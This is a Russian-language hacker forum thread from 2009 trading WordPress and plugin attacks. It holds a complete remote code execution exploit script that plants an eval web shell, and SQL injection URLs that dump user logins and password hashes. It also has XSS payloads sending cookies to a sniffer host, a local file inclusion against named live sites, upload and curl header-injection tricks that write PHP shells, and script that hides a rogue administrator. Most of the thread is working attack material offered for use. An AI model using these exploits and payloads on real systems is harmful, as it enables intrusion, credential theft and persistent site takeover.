index.php?test_filter[wp_head][99][]=session_start&test_filter[wp_head][99][]=session_id&test_filter[wp_head][99][]=base64_decode&test_filter[wp_head][99][]=assert&q=phpinfo();exit;

ну и куку PHPSESSID=ZXZhbCgkX0dFVFtxXSk7ICAK

также еще есть в пхп функция get_browser(), но по дефолту ее в php.ini надо настраивать, а так можно былобы через юзер агента текст нужный пихать.

[Raz0r]
05.01.2009, 13:40
Насчет get_browser() тоже думал, но эта функция действительно мало, гда работает.
Если в PHPSESSID помещать данные в base64, то нужно составлять такие строки, чтобы в них не было символов =.
Функция call_user_func_array() не допускает использование eval() в качестве callback'а, но твой способ обхода этого ограничения с помощью assert() очень порадовал =)

cybersly
09.01.2009, 07:48
cкажите имея логин/хеш от версии 2.5 и SECRET_KEY, подставить кукис можно или нет?
пол ночи убил так и не получилось :(

M4g
09.01.2009, 17:55
>cкажите имея логин/хеш от версии 2.5 и SECRET_KEY, подставить кукис можно или нет?
перелистай тему, выкладывали тут тулзу для этого.
можно, только если кей из wp-config.php оставлен дефолтным

M4g
09.01.2009, 17:59
Attack: Denial Of Service
Required cookies: GLOBALS=<anything>
Triggering file: index.php (just an example, basically any file including the
affected file)
Affected file: wp-settings.php
Effect: no request is processed as it aborts because of the presence of
GLOBALS in $_REQUEST

Attack: Deletion of users
Required cookies: action=dodelete, delete_option=delete, users[]=n (where n is
an integer)
Triggering file: wp-admin/users.php
Affected file: wp-admin/users.php
Note: this doesn't affect etch's version as it correctly uses $_POST

Attack: Denial Of Service
Required cookies: action=logout
Triggering file: wp-login.php
Affected file: wp-login.php
Effect: redirection loop, preventing the user from logging in

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504771
http://trac.wordpress.org/ticket/8814

baltazar
11.01.2009, 16:14
XSS wp-slimstat 0.92

http://site/wp-admin/index.php?page=wp-sl
imstat/wp-slimstat.php?panel=1&fi=/feed/&ff=1&ft=%3Cscript%3Ealert(document.cookie)%3C/script%3E

M4g
08.02.2009, 06:44
by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2008-12-18

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Wordpress 2.7.0 remote code execution exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
site: http://www.80vul.com
dork: "powered by WordPress"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 6) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass post
host: target server (ip/hostname)
path: path to wordpress
user: admin login username
pass: admin login password
post: the available post id
Example:
php '.$argv[0].' localhost /wp/ admin 123456 1
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$post = $argv[5];

$shellcode = '\\\';eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwL WNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9 ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));\\\'';
//$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dw LWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD 9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//';
$shell = 'http://'.$host.$path.'wp-content/plugins/wolvez.php';
/**
* wolvez.php has this code:
* <?eval($_POST[c])?>
*/
$url = $path.'wp-login.php';
$cmd = 'log='.urlencode($user).'&pwd='.urlencode($pass);
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $admin_cookie);

if (!$admin_cookie)
exit("Exploit Failed!\n");

$url = $path.'wp-admin/user-new.php#add-new-user';
$cmd = '';
$resp = send($admin_cookie[1]);
preg_match('/name="_wpnonce"\svalue="([a-z0-9]{10})"/', $resp, $_wpnonce);

if (!$_wpnonce)
exit("Exploit Failed!\n");

$cmd = '_wpnonce='.$_wpnonce[1].'&action=adduser&user_login=ryat&email=ryat%40ryat.com&pass1=123456&pass2=123456&role=editor&display_name='.$shellcode;
$resp = send($admin_cookie[1]);

if (strpos($resp, 'users.php?usersearch=ryat&update=add#user') === false)
exit("Exploit Failed!\n");

$url = $path.'wp-login.php';
$cmd = 'log=ryat&pwd=123456';
$resp = send();
preg_match('/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/', $resp, $editor_cookie);

if (!$editor_cookie)
exit("Exploit Failed!\n");

$url = $path.'wp-admin/post.php?action=edit&post='.$post;
$cmd = '';
send($editor_cookie[1]);
send($admin_cookie[1]);

if (strpos(file_get_contents($shell), 'puret_t') !== false)
exit("Expoilt Success!\nView Your shell:\t$shell\n");
else
exit("Exploit Failed!\n");

function send($cookie = '')
{
global $host, $path, $url, $cmd;

$data = "POST $url HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Referer: http://$host$path\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$data .= "Host: $host\r\n";
$data .= "Content-Length: ".strlen($cmd)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "Cookie: $cookie\r\n\r\n";
$data .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>



Подробности уязвимости

wp-admin/post.php

if ( current_user_can('edit_post', $post_ID) ) {
if ( $last = wp_check_post_lock( $post->ID ) ) {
$last_user = get_userdata( $last );
$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
$message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );
$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
add_action('admin_notices', create_function( '', "echo '$message';" ) );
//[ex:\';phpinfo();\'];
} else {
wp_set_post_lock( $post->ID );
wp_enqueue_script('autosave');
}
}

M4g
13.02.2009, 08:56
Итак, представим, что у нас уже есть доступ к бд и нам необходимо закрепиться на блоге. Для этого создаем нового юзера, даем ему права админа и в бд в таблице wp_usermeta в поле first_name с ИД нашего юзера прописываем:
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}

}catch(e){};
};
addLoadEvent(setUserName);
</script>" /></label></p>
В итоге, наш админчег не будет виден на странице wp-admin/users.php =)
Для версий 2.5-2.7 могут быть свои вариации.

-m0rgan-
14.02.2009, 13:44
Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability
exploit:
http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=[SQL]

http://site.com/blog/wp-content/plugins/wp-forum/forum_feed.php?thread=-99999+union+select+1,2,3,concat(user_login,0x2f,us er_pass,0x2f,user_email),5,6,7+from+wp_users/*

источник:http://milw0rm.com/

Kraneg
28.02.2009, 16:09
Уязвимость в модуле статистики wassup
Version: 1.6.4 (вроде как и <=1.6.4)

Активная XSS
Не фильтруется поле Referrer. Уязвимость есть в двух местах: на главной странице статистики и подробной статистике по IP.
Первый код подробной статистики(wassup/lib/action.php):
$raw_table = $wpdb->get_results("SELECT ip, hostname, agent, referrer, search, searchpage, os, browser, language FROM $table_name WHERE wassup_id='".urlencode(attribute_escape($_GET['wassup_id']))."' ORDER BY timestamp ASC LIMIT 1"); ?>
<div><h2><?php _e("Raw data","wassup"); ?>:</h2>
<ul style="list-style-type:none;padding:20px 0 0 30px;">
<?php foreach ($raw_table as $rt) { ?>
...
<li><?php echo __("Referrer","wassup").": ".urldecode($rt->referrer); ?></li>
...
<?php }
} //end foreach ?>
Второй код(wassup/lib/main.php):
$referrer = '<a href="'.$cv->referrer.'" target=_"BLANK">'.stringShortener($cv->referrer, round($max_char_len*.9,0)).'</a>';
...
<?php print $referrer; ?>
Пример:
GET /wp/ HTTP/1.0
User-Agent: [любой User agent]
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: XSS к примеру Referer: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3C%2 F%73%63%72%69%70%74%3E
Proxy-Connection: Keep-Alive
Ну а что бы увидеть эту xss заходим в админку->wassup и лицезреем =)

Kraneg
02.03.2009, 20:48
Уязвимость в модуле Connections
Version: 0.4.0 (вроде как и <=0.4.0) в частности класс php_class_upload v.0.26 и ниже

В комплекте с модулем есть папка php_class_upload содержащая класс по работе с файлами(класс не от разработчиков модуля, а сторонний, подробнее можно посмотреть здесь http://www.verot.net/php_class_upload.htm) так вот в этом классе из за не достаточной фильтрации расширения загружаемых файлов в class.upload.php:
// turn dangerous scripts into text files
if ($this->no_script) {
if (((substr($this->file_src_mime, 0, 5) == 'text/' || strpos($this->file_src_mime, 'javascript') !== false) && (substr($this->file_src_name, -4) != '.txt'))
|| preg_match('/\.(php|pl|py|cgi|asp)$/i', $this->file_src_name) || empty($this->file_src_name_ext)) {
$this->file_src_mime = 'text/plain';
$this->log .= '- script ' . $this->file_src_name . ' renamed as ' . $this->file_src_name . '.txt!<br />';
$this->file_src_name_ext .= (empty($this->file_src_name_ext) ? 'txt' : '.txt');
}
}
можно залить сначала файл с расширением.htaccess в котором указать AddType application/x-httpd-php .someext ну а дальше уже сам шелл shell.someext, или сразу .phtml или .html
Папку с классом многие копируют без изменений, а файл index.html содержит тестовую форму по загрузке файлов... Вобщем удобная форма по загрузке шела =) к примеру посмотреть можно на оф сайте модуля
http://www.shazahm.net/wp-content/plugins/connections/php_class_upload/
ну и из за недостаточной фильтрации будут уязвимо все где использован этот класс...

Kraneg
05.03.2009, 21:14
Модуль на WordPress - Appstore Charts
Version v. 1.2

Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/)
Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах:
1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php
Уязвимый код:
$url = $_GET['rss_url'];
[...]
if ( $url ) {
echo "displaying: $url<p>";
$rss = fetch_rss( $url );
echo slashbox ($rss);
}

echo "<pre>";
print_r($rss);
echo "</pre>";
Для проверки можно обратиться:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script>
Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script>
+ на %2B обязательно иначе не пройдет...
2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php
Уязвимый код:
if ( isset($_GET['url']) ) {
$url = $_GET['url'];
}
else {
$url = 'http://magpierss.sf.net/test.rss';
}

[...]

$rss = fetch_rss( $url );

if ($rss) {
echo "<h3>Example Output</h3>";
echo "Channel: " . $rss->channel['title'] . "<p>";
echo "<ul>";
foreach ($rss->items as $item) {
$href = $item['link'];
$title = $item['title'];
echo "<li><a href=$href>$title</a></li>";
}
echo "</ul>";
}
else {
echo "Error: " . magpie_error();
}
?>
Использование аналогично номеру 1 =) только rss_url на url меняется...

Kraneg
07.03.2009, 14:02
Уязвимости в модуле WP Wall
Version: 1.4.2(возможно и ниже)

1.Пассивная XSS
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget-control.php
Уязвимый код:
<p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p>
<p><label for="wall_title">Title: <input name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p>
<input type="hidden" id="wall_submit" name="wall_submit" value="1" />
Пример использования:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script>

2. Еще одна пасивная XSS:
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget.php
Уязвимый код:
<?php
echo $before_widget;
echo $before_title . $wall_title. $after_title;
?>
Пример использования:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script>
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script>
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script>
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script>
Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
<script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script>

3.Раскрытие путей и не только(для всех модулей):
Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
add_action("widgets_init", array('itunescharts_widget', 'register'));
И уже видим раскрытие путей! К примеру:
Обратившись:
http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php
видим:
Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33
, этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
Раскрытие есть в 3 файлах из 4:
1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
видим раскрытие...
2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
видим раскрытие...
Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)

Kraneg
07.03.2009, 15:29
Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?

[Raz0r]
07.03.2009, 18:45
Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода ;)

M4g
07.03.2009, 19:24
Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки.
Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах)
SQL inj && Code exec && LFI && RFI = is_our_way

M4g
12.03.2009, 23:33
I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability

II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.

III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.

IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:

In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:

1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841 ?>
1842 <select name="primary_blog">
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected

VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org

VIII. REFERENCES
-------------------------
http://mu.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
December 03, 2008: Initial release
March 02, 2009: More details added

XI. DISCLOSURE TIMELINE
-------------------------
December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by
Internet Security Auditors (www.isecauditors.com)

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

#http://milw0rm.com/exploits/8196

edichka
21.03.2009, 09:32
Wordpress Plugin fMoblog Remote SQL Injection Vulnerability

Exploit:
http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_log in,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

Dork: inurl:"Gallery powered by fMoblog"


http://www.milw0rm.com/exploits/8229

Spyder
24.04.2009, 03:48
Честно сказать нашёл случайно в нете и оч удивился что нигде не описания
wp-lytebox
http://grupenet.com/2007/08/03/wp-lytebox/

if(!isset($pg)) {
include("pages/main.txt");
} elseif(isset($pg)) {
include("pages/".$pg.".txt");
}

Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти
http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00
http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей}

Кстати /etc/passwd не инклудится вообще)

ta-kyn
25.05.2009, 00:05
Target: Simple:Press Forum v3.1.3 [WP: v2.04 and above]
Off.page: www.stuff.yellowswordfish.com/simplepress-forum}

Xss: site.xxx/forum/?forum=all&value=<script>alert(document.cookie)</script>%251&search=1

M4g
27.05.2009, 20:03
Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере.
----
1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1)

Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability".
Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.
Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код:

function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
...
if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll
$uri = parse_url($url);
$domain = $uri['host'];
$uri = parse_url( get_option('home') );
$home_domain = $uri['host'];
if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain )
return true;
else
return false;
}
...
}

Смысл этого кода состоит в том, что:
1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу");
2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true;
3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию.
В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL".
Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%".
Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:

"SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"

Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным :)
Но и это еще не все!
Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:

function wp_html_excerpt( $str, $count ) {
$str = strip_tags( $str );
$str = mb_strcut( $str, 0, $count );
// remove part of an entity at the end
$str = preg_replace( '/&[^;\s]{0,6}$/', '', $str );
return $str;
}

Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов:
1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы);
2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.
И вот, исходя из этой информации, можно придумать конечный эксплойт:

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

Где в поле "Comment" вставляем:

< b >< a href="http"//ya.ru">Купить слона< / a >< / b >

В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона".
Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.

M4g
27.05.2009, 20:04
2. Подмена RSS-фидов в Dashboard (2.5<=WordPress<=2.6.5)

В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога.
Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости "Планеты WordPress".
Начиная с версии 2.5, к каждому фиду прикреплена кнопочка "Edit", что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов).
Теперь смотри: скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте, естественно, в ссылке на скачку укажи свой протрояненный дистрибутив вордпресса.
Затем положи свой подготовленный фид на какой-нибудь сервер и используй следующий html-код для подмены рсс-ленты девблога на свою:

<form action="http://lamer.com/wp265/wp-admin/" method="post">
<input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" />
<input name="widget-rss[1][title]" type="text" value="Заголовок рсс" />
<input name="widget-rss[1][items]" value="сколько показывать постов в рсс" />
<input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/>
<input name="widget-rss[1][show_author]" type="checkbox" value="1" />
<input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget-rss[1][submit]" value="1" />
<input type='hidden' name='sidebar' value='wp_dashboard' />
<input type='hidden' name='widget_id' value='dashboard_primary' />
<input type='submit' value='Save' />
</form>

В итоге, ты увидишь на главной странице админки блога свой evil-rss :)
Ах, да, для использования этой уязвимости необходимы следующие условия:
1. Открытая регистрация на блоге;
2. Версии движка от 2.5 до 2.6.5 включительно.

M4g
27.05.2009, 20:07
3. WordPress Snoopy Remote Code Execution (2.6.3<=WordPress<=2.6.5)

Теперь настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог:)
Итак, если ты читал мою статью за январь сего года, то должен знать об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3.
Я догадываюсь, чем они думали, смотря на пост девблога с такими словами:

A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shown in the Dashboard. Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.

А также при сравнении кода Snoopy из WordPress <= 2.6.2:

exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);

с кодом Snoopy из WordPress <= 2.6.5:

exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);

Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый :)
Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем.
Тем не менее, такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку :)
1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php;
2. Скрипт code-exec.php должен содержать следующий код:

<?php
header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
header("Location: https://chto-ugodno.com/?feed=rss2");
?>

После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл :)
Теперь давай разберем, где и почему это работает.
1. Это работает только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов;
2. Это работает только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php плюс бинарник курла проверяется на существование и исполняемость:

if(!$this->curl_path)
return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;

3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту), во время которой он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. А, как мы можем понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался :)
4. Это работает не только в кукисах, но и во многих других заголовках, например, мы сможем передать произвольный код в заголовке HOST следующим образом:

<?php
header("Location: https://lal`my evil command`.com");
?>

M4g
27.05.2009, 20:10
4. Pingback SQL Injection (2.x<=WordPress<=2.5.1)

Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз-таки не технологии Pingback и Trackback.
Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2(!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и правами author/editor (WordPress MU also affected).
Итак, для наглядности возьмем подопытный движок за номером 2.3.3.
Открывай ./wp-includes/post.php и находи в нем такой код:

function add_ping($post_id, $uri) { // Add a URL to those already pung
global $wpdb;
$pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id");
$pung = trim($pung);
$pung = preg_split('/\s/', $pung);
$pung[] = $uri;
$new = implode("\n", $pung);
$new = apply_filters('add_ping', $new);
return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id");
}

